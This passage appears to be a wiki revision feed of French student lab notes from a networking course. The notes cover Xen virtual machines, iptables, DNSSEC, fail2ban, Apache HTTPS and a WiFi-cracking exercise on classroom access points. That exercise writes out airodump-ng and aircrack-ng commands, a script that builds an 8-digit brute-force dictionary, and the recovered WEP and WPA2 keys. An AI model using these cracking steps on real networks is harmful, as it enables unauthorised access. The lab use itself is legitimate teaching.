aircrack-ng log_airodump-05.cap&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Le résultat suivant est le bon on a un KEY FOUND !!&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
                                                                                                 Aircrack-ng 1.7&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
                                                                                   [00:00:00] Tested 808 keys (got 54157 IVs)&lt;br /&gt;
&lt;br /&gt;
   KB    depth   byte(vote)&lt;br /&gt;
    0    0/ 13   FF(75008) AF(66048) C6(65536) A6(62464) E3(61952) 20(61696) EC(61696) E8(61440) 13(61184) 30(61184) F3(61184) FD(60928) F1(60672) 27(60416) 41(60416) 5D(60416) 8D(60416)&lt;br /&gt;
    1    0/  1   01(81152) 78(64256) 13(63232) AC(63232) E6(62720) 48(61952) 91(61952) 92(61696) AB(61696) 74(61440) 56(61184) A8(61184) 4A(60928) C9(60928) 17(60672) 35(60416) F2(60416)&lt;br /&gt;
    2    9/  2   D2(60416) D5(60160) DF(60160) 44(59904) 7A(59904) 99(59904) AD(59904) 15(59648) 2A(59648) 31(59648) 67(59648) E6(59648) 0D(59392) 16(59392) 7E(59392) DC(59392) 5B(59136)&lt;br /&gt;
    3    0/  1   08(79360) 1D(63744) 7D(61952) 1B(61184) CB(60928) A3(60672) 85(60160) 58(59904) AC(59904) 11(59648) 53(59648) 9C(59648) EA(59648) 81(59392) 84(59392) AA(59392) B1(59392)&lt;br /&gt;
    4    8/  4   9A(61440) 22(61184) DB(61184) D7(60928) 48(60672) 88(60672) 36(60416) 14(59904) 57(59904) 5C(59904) 8D(59904) CF(59904) 04(59136) 20(58880) 39(58880) B4(58880) D5(58880)&lt;br /&gt;
&lt;br /&gt;
             KEY FOUND! [ FF:FF:FF:FF:FA:BC:03:CB:AE:EE:EE:EE:EE ]&lt;br /&gt;
        Decrypted correctly: 100%&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Seconde partie ====&lt;br /&gt;
On s&#039;interesse maintenant à la kracotte02 via la commande précédente on trouve :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
44:AD:D9:5F:87:01  -47        5        0    0  13   54e. WPA2 CCMP   PSK  kracotte02&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour forcer ce mot de passe par force brut nous créons via un fichier Python un dictionnaire contenant toutes les possibilités sur 8 chiffres. Pour lancer ce programme on utilise Python3&amp;lt;syntaxhighlight lang=&amp;quot;python3&amp;quot;&amp;gt;&lt;br /&gt;
with open(&amp;quot;dictionnaire_8_chiffres.txt&amp;quot;, &amp;quot;w&amp;quot;) as f:&lt;br /&gt;
    for i in range(100000000):&lt;br /&gt;
        f.write(f&amp;quot;{i:08d}\n&amp;quot;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Le commande suivante doit être lancée&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo aircrack-ng -w dictionnaire_8_chiffres.txt -b 44:AD:D9:5F:87:01&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin on peut lancer la méthode par force brute via la commande suivante&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlx40a5efd21410 --write airodumpWPA --bssid 44:AD:D9:5F:87:01 -c13&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Le résutat peut-être observé via la commande :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo aircrack-ng -w dictionnaire_8_chiffres.txt -b 44:AD:D9:5F:87:01 airodumpWPA-03.cap&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
                               Aircrack-ng 1.7&lt;br /&gt;
&lt;br /&gt;
      [00:37:28] 66655552/100000000 keys tested (29360.85 k/s)&lt;br /&gt;
&lt;br /&gt;
      Time left: 18 minutes, 55 seconds                         66.66%&lt;br /&gt;
&lt;br /&gt;
                           KEY FOUND! [ 66688666 ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
      Master Key     : A4 3E 9E 85 7D D3 4E 0C 2C D4 D9 1C 4F 08 1A 0C&lt;br /&gt;
                       B4 BA B2 64 8C 24 38 C5 DD 27 81 8E CE 2C F4 CA&lt;br /&gt;
&lt;br /&gt;
      Transient Key  : AA 75 80 E5 F3 77 C2 00 00 00 00 00 00 00 00 00&lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&lt;br /&gt;
&lt;br /&gt;
      EAPOL HMAC     : 97 42 1A DB B7 EE FB 19 C3 7C EA 9E 29 99 0A 4B&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Vlan ===&lt;br /&gt;
Depuis la machine batman on se ssh sur le routeur&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ssh -oKexAlgorithms=+diffie-hellman-group14-sha1 -oHostKeyAlgorithms=+ssh-rsa -oCiphers=+aes128-cbc admin@172.27.0.1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
ssh -oKexAlgorithms=+diffie-hellman-group14-sha1 -oHostKeyAlgorithms=+ssh-rsa -oCiphers=+aes128-cbc admin@172.27.0.1&lt;br /&gt;
&lt;br /&gt;
C9200-E304&amp;gt;en&lt;br /&gt;
&lt;br /&gt;
C9200-E304&amp;gt;configure&lt;br /&gt;
&lt;br /&gt;
C9200-E304(config)#ip dhcp pool PoolAntonin&lt;br /&gt;
&lt;br /&gt;
C9200-E304(dhcp-config)#network 10.60.14.0 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
C9200-E304(dhcp-config)#dns-server 193.48.57.169&lt;br /&gt;
&lt;br /&gt;
C9200-E304(dhcp-config)#default-router 10.60.14.254&lt;br /&gt;
&lt;br /&gt;
C9200-E304#show running-config&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
2001:660:4401:60a0:216:3eff:fe19:f03c&lt;/div&gt;</summary>
		<author><name>Abiernac</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=12176</id>
		<title>Atelier SysRes SE4 2025/2026 E14</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=12176"/>
		<updated>2026-02-10T15:48:53Z</updated>

		<summary type="html">&lt;p&gt;Abiernac : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=== Projet de virtualisation ===&lt;br /&gt;
&lt;br /&gt;
==== Atelier système et réseau, les machines virtuelles ====&lt;br /&gt;
&lt;br /&gt;
===== Création des machines virtuelles =====&lt;br /&gt;
Nous avons créé deux machines avec les commandes suivantes :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.batman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.catwoman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.superman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=excalibur --memory=2G&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto pont_ironman&lt;br /&gt;
iface pont_ironman inet manual&lt;br /&gt;
        bridge_ports none&lt;br /&gt;
        up ip link set $IFACE up&lt;br /&gt;
        down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.catwoman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.superman.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ifup pont_ironman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen console SE4.batman&lt;br /&gt;
xen console SE4.catwoman&lt;br /&gt;
xen console SE4.superman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
lvcreate -n SE4.batman.home -L 10G virtual&lt;br /&gt;
lvcreate -n SE4.batman.var -L 10G virtual&lt;br /&gt;
disk        = [&lt;br /&gt;
                  &#039;file:/usr/local/xen/domains/SE4.batman/disk.img,xvda2,w&#039;,&lt;br /&gt;
                  &#039;file:/usr/local/xen/domains/SE4.batman/swap.img,xvda1,w&#039;,&lt;br /&gt;
                  &#039;phy:/dev/virtual/SE4.batman.home,xvdb,w&#039;,&lt;br /&gt;
                  &#039;phy:/dev/virtual/SE4.batman.var,xvdc,w&#039;,&lt;br /&gt;
              ]&lt;br /&gt;
             &lt;br /&gt;
                &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;modif le fichier &amp;lt;code&amp;gt;/etc/fstab&amp;lt;/code&amp;gt; :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
/dev/xvdb /var ext4 defaults 0 2&lt;br /&gt;
/dev/xvdc /home ext4 defaults 0 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;sur terminal&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvdb&lt;br /&gt;
mkfs -t ext4 /dev/xvdc&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;ensuite : &amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
mount /dev/xvdb /mnt&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
umount /mnt&lt;br /&gt;
mount -a&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 172.10.0.1/24&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
    address 193.48.57.169/27&lt;br /&gt;
    gateway 193.48.57.162&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;accées internet&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt update&lt;br /&gt;
apt install ntp ntpdate host&lt;br /&gt;
apt install ntpsec ntpsec-ntpdate host&lt;br /&gt;
date &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;ssh des machines de service&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Dans /etc/xen/SE4.batman.cfg&lt;br /&gt;
    vif = [ &#039;mac=00:16:3E:FA:18:CF,bridge=pont_ironman&#039;, &#039;mac=00:16:3E:FA:18:D0,bridge=SE4&#039; ]&lt;br /&gt;
&lt;br /&gt;
Ensuite :&lt;br /&gt;
    xen shutdown SE4.batman&lt;br /&gt;
    xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
    &lt;br /&gt;
Dans /etc/network/interfaces&lt;br /&gt;
    auto eth1&lt;br /&gt;
    iface eth1 inet6 auto&lt;br /&gt;
    &lt;br /&gt;
Dans batman :&lt;br /&gt;
    reboot&lt;br /&gt;
    ifdown eth1; ifup eth1&lt;br /&gt;
    &lt;br /&gt;
Depuis capbreton :&lt;br /&gt;
    ssh root@&amp;lt;ipv6_eth1_batman&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== mascarade ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.69.0/24&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;et créé le fichier /etc/sysctl.conf puis mettre&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
net.ipv4.ip_forward=1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== redirection de port pour ssh ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2202 -j DNAT --to-destination 192.168.69.2:22&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2203 -j DNAT --to-destination 192.168.69.3:22&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;nous avons aussi installer &amp;lt;code&amp;gt;iptables-persistent&amp;lt;/code&amp;gt; pour eviter de perdre la configuration a chaque reboot.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt install iptables-persistant&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Génération de la clé pour le certificat sur batman&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout deadpool.tech.key -out ddeadpool.csr&lt;br /&gt;
&lt;br /&gt;
Country Name (2 letter code) [AU]:FR&lt;br /&gt;
State or Province Name (full name) [Some-State]:Nord&lt;br /&gt;
Locality Name (eg, city) []:Lille&lt;br /&gt;
Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille&lt;br /&gt;
Organizational Unit Name (eg, section) []:IOT&lt;br /&gt;
Common Name (e.g. server FQDN or YOUR name) []:deadpool.tech&lt;br /&gt;
Email Address []:antonin.biernacki@polytech-lille.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Sur catwoman&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout dardevil.tech.key -out dardevil.csr&lt;br /&gt;
&lt;br /&gt;
Country Name (2 letter code) [AU]:FR&lt;br /&gt;
State or Province Name (full name) [Some-State]:Nord&lt;br /&gt;
Locality Name (eg, city) []:Lille&lt;br /&gt;
Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille&lt;br /&gt;
Organizational Unit Name (eg, section) []:IOT&lt;br /&gt;
Common Name (e.g. server FQDN or YOUR name) []:dardevil.tech&lt;br /&gt;
Email Address []:billel.cheklat@polytech-lille.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Creation d&#039;un repertoire keys avec les droits nécessaires&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
mkdir /etc/bind/keys &lt;br /&gt;
chown bind:bind /etc/bind/keys &lt;br /&gt;
chmod 750 /etc/bind/keys&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;DNS&lt;br /&gt;
&lt;br /&gt;
Modification de /etc/bind/named.conf.local&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
        keys {&lt;br /&gt;
                ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
                zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
        };&lt;br /&gt;
        nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;deadpool.tech&amp;quot; {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.deadpool.tech&amp;quot;;&lt;br /&gt;
        allow-transfer{secondaries;};&lt;br /&gt;
        notify yes;&lt;br /&gt;
        key-directory &amp;quot;/etc/bind/keys&amp;quot;;&lt;br /&gt;
        dnssec-policy &amp;quot;dnspol&amp;quot;;&lt;br /&gt;
        inline-signing yes;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
        192.168.69.3;&lt;br /&gt;
        2001:660:4401:60a0:216:3eff:fe8f:4743;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
PARTIE COMMENTEE&lt;br /&gt;
zone &amp;quot;dardevil.tech&amp;quot; {&lt;br /&gt;
        type secondary;&lt;br /&gt;
        file &amp;quot;/etc/bind/backup/db.dardevil.tech&amp;quot;;&lt;br /&gt;
        masters{2001:660:4401:60a0:216:3eff:fe8f:4743;};&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Création d&#039;un dossier zones dans /etc/bind et y créer le fichier db.deadpool.tech&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
$TTL 400&lt;br /&gt;
&lt;br /&gt;
@ IN SOA ns.deadpool.tech. admin.deadpool.tech. (&lt;br /&gt;
        3609      ; Version&lt;br /&gt;
        21600     ; Refresh&lt;br /&gt;
        3600      ; Retry&lt;br /&gt;
        2592000   ; Expire&lt;br /&gt;
        86400     ; Minimum TTL&lt;br /&gt;
&lt;br /&gt;
);&lt;br /&gt;
&lt;br /&gt;
@ IN NS ns.dardevil.tech.&lt;br /&gt;
@ IN NS ns.deadpool.tech.&lt;br /&gt;
&lt;br /&gt;
ns IN A 193.48.57.169&lt;br /&gt;
ns IN AAAA 2001:660:4401:60a0:216:3eff:fe8f:4743&lt;br /&gt;
@ IN A 193.48.57.169&lt;br /&gt;
@ IN AAAA 2001:660:4401:60a0:216:3eff:fe8f:4743&lt;br /&gt;
&lt;br /&gt;
www IN CNAME deadpool.tech.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Modification du fichier /etc/resolv.conf (il faut commenter tous les autres servers)&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
search deadpool.tech&lt;br /&gt;
search dardevil.tech&lt;br /&gt;
nameserver 192.168.69.2&lt;br /&gt;
nameserver 192.168.69.3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour restart le service &amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service named restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Si il y a des erreurs la commande suivante permet de les identifier&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
named-checkconf /etc/bind/named.conf&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour tester le DNS depuis la machine de service&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dig @localhost deadpool.tech&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Modification sur Gandi au niveau des deux noms de domaine&lt;br /&gt;
&lt;br /&gt;
Création d&#039;un blue record pour chacun des noms de domaine&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
ns.deadpool.tech&lt;br /&gt;
193.48.57.169 // adresse IPv4 de la mandataire&lt;br /&gt;
2001:660:4401:60a0:216:3eff:fefa:18d0 // adresse IPv6 de la machine de service&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ajout de external nameserver pour chacun des deux noms de domaine&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
ns.deadpool.tech	// nom de domaine&lt;br /&gt;
ns.dardevil.tech	// l&#039;autre nom de domaine&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour tester depuis l&#039;extérieur&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dig deadpool.tech&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Fail2ban ===&lt;br /&gt;
Il faut commencer par installer fail2ban&lt;br /&gt;
&lt;br /&gt;
Ensuite il faut créer un fichier jail.local dans le dossier /etc/fail2ban&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
[sshd] &lt;br /&gt;
enable = true&lt;br /&gt;
port = ssh&lt;br /&gt;
filter = sshd&lt;br /&gt;
maxretry = 5&lt;br /&gt;
findtime = 300&lt;br /&gt;
bantime = 600&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour éviter un warning sur allowipv6 il faut décommenter les lignes suivantes dans fail2ban.conf (ligne 58 à 62)&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
Option: allowipv6&lt;br /&gt;
Notes.: Allows IPv6 interface:&lt;br /&gt;
         Default: auto&lt;br /&gt;
Values: [ auto yes (on, true, 1) no (off, false, 0) ] Default: auto&lt;br /&gt;
allowipv6 = auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Enfin pour lancer le service il faut rentrer la cmd suivante&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service fail2ban restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== HTTPS ===&lt;br /&gt;
Dans le dossier /etc/apache2/sites-available&lt;br /&gt;
&lt;br /&gt;
On met la clef deadpool.tech.key et les certificats GandiCert.pem et deadpool.tech.crt (tout a été trouvé sur Gandi)&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
        ServerName deadpool.tech&lt;br /&gt;
        ServerAlias www.deadpool.tech&lt;br /&gt;
        Redirect permanent / https://deadpool.tech/&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
        ServerAdmin webmaster@localhost&lt;br /&gt;
&lt;br /&gt;
        DocumentRoot /var/www/html&lt;br /&gt;
        &lt;br /&gt;
        ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
        CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
        &lt;br /&gt;
        SSLEngine on&lt;br /&gt;
        &lt;br /&gt;
        SSLCertificateFile      /etc/apache2/sites-available/deadpool.tech.crt&lt;br /&gt;
        SSLCertificateKeyFile   /etc/apache2/sites-available/deadpool.tech.key&lt;br /&gt;
        SSLCertificateChainFile /etc/apache2/sites-available/GandiCert.pem&lt;br /&gt;
        &lt;br /&gt;
        &amp;lt;FilesMatch &amp;quot;\.(?:cgi|shtml|phtml|php)$&amp;quot;&amp;gt;&lt;br /&gt;
                SSLOptions +StdEnvVars&lt;br /&gt;
        &amp;lt;/FilesMatch&amp;gt;&lt;br /&gt;
        &amp;lt;Directory /usr/lib/cgi-bin&amp;gt;&lt;br /&gt;
                SSLOptions +StdEnvVars&lt;br /&gt;
        &amp;lt;/Directory&amp;gt;&lt;br /&gt;
        &lt;br /&gt;
    &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
On entre ensuite les cmd suivantes&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
a2enmod ssl&lt;br /&gt;
service apache restart&lt;br /&gt;
a2ensite default-ssl.conf&lt;br /&gt;
service apache2 reload&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Effraction WIFI ===&lt;br /&gt;
&lt;br /&gt;
==== premiere partie ====&lt;br /&gt;
On travaille sur la zabeth13 parce que cette machine a une carte réseau fonctionnelle pour faire le TP.&lt;br /&gt;
&lt;br /&gt;
La commande suivante permet de d&#039;identifier l&#039;interface WIFI qui nous intéresse :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ip link&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ici l&#039;interface qui nous intéresse est wlan1&lt;br /&gt;
&lt;br /&gt;
Donc nous pouvons lancer la commande suivante afin d&#039;identifier l&#039;adresse IP de notre cracotte14.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlan1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Dans la liste nous avons en effet la cracotte14 sur le channel 4 et l&#039;adresse ip suivante&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
 04:DA:D2:9C:50:5D  -62      231        0    0   4   54e. WEP  WEP         cracotte14&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin nous pouvons lancer la commande&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlan1 --bssid 04:DA:D2:9C:50:5d -c4 --write log_airodump&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Dans notre cas la carte réseau de la zabeth13 disfonctionne. Donc Mr Redon me donne une cléUSB Wifi pour pouvoir travailler. De plus les cracotte s&#039;arrête au 13 donc je dois prendre la cracotte02.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlx40a5efd21410 --bssid 04:DA:D2:9C:50:51 -c4 --write log_airodump&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Après un certain temps on peut entrer la commande suivante pour voir si un résultat à été trouvé&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
aircrack-ng log_airodump-05.cap&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Le résultat suivant est le bon on a un KEY FOUND !!&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
                                                                                                 Aircrack-ng 1.7&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
                                                                                   [00:00:00] Tested 808 keys (got 54157 IVs)&lt;br /&gt;
&lt;br /&gt;
   KB    depth   byte(vote)&lt;br /&gt;
    0    0/ 13   FF(75008) AF(66048) C6(65536) A6(62464) E3(61952) 20(61696) EC(61696) E8(61440) 13(61184) 30(61184) F3(61184) FD(60928) F1(60672) 27(60416) 41(60416) 5D(60416) 8D(60416)&lt;br /&gt;
    1    0/  1   01(81152) 78(64256) 13(63232) AC(63232) E6(62720) 48(61952) 91(61952) 92(61696) AB(61696) 74(61440) 56(61184) A8(61184) 4A(60928) C9(60928) 17(60672) 35(60416) F2(60416)&lt;br /&gt;
    2    9/  2   D2(60416) D5(60160) DF(60160) 44(59904) 7A(59904) 99(59904) AD(59904) 15(59648) 2A(59648) 31(59648) 67(59648) E6(59648) 0D(59392) 16(59392) 7E(59392) DC(59392) 5B(59136)&lt;br /&gt;
    3    0/  1   08(79360) 1D(63744) 7D(61952) 1B(61184) CB(60928) A3(60672) 85(60160) 58(59904) AC(59904) 11(59648) 53(59648) 9C(59648) EA(59648) 81(59392) 84(59392) AA(59392) B1(59392)&lt;br /&gt;
    4    8/  4   9A(61440) 22(61184) DB(61184) D7(60928) 48(60672) 88(60672) 36(60416) 14(59904) 57(59904) 5C(59904) 8D(59904) CF(59904) 04(59136) 20(58880) 39(58880) B4(58880) D5(58880)&lt;br /&gt;
&lt;br /&gt;
             KEY FOUND! [ FF:FF:FF:FF:FA:BC:03:CB:AE:EE:EE:EE:EE ]&lt;br /&gt;
        Decrypted correctly: 100%&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Seconde partie ====&lt;br /&gt;
On s&#039;interesse maintenant à la kracotte02 via la commande précédente on trouve :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
44:AD:D9:5F:87:01  -47        5        0    0  13   54e. WPA2 CCMP   PSK  kracotte02&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour forcer ce mot de passe par force brut nous créons via un fichier Python un dictionnaire contenant toutes les possibilités sur 8 chiffres. Pour lancer ce programme on utilise Python3&amp;lt;syntaxhighlight lang=&amp;quot;python3&amp;quot;&amp;gt;&lt;br /&gt;
with open(&amp;quot;dictionnaire_8_chiffres.txt&amp;quot;, &amp;quot;w&amp;quot;) as f:&lt;br /&gt;
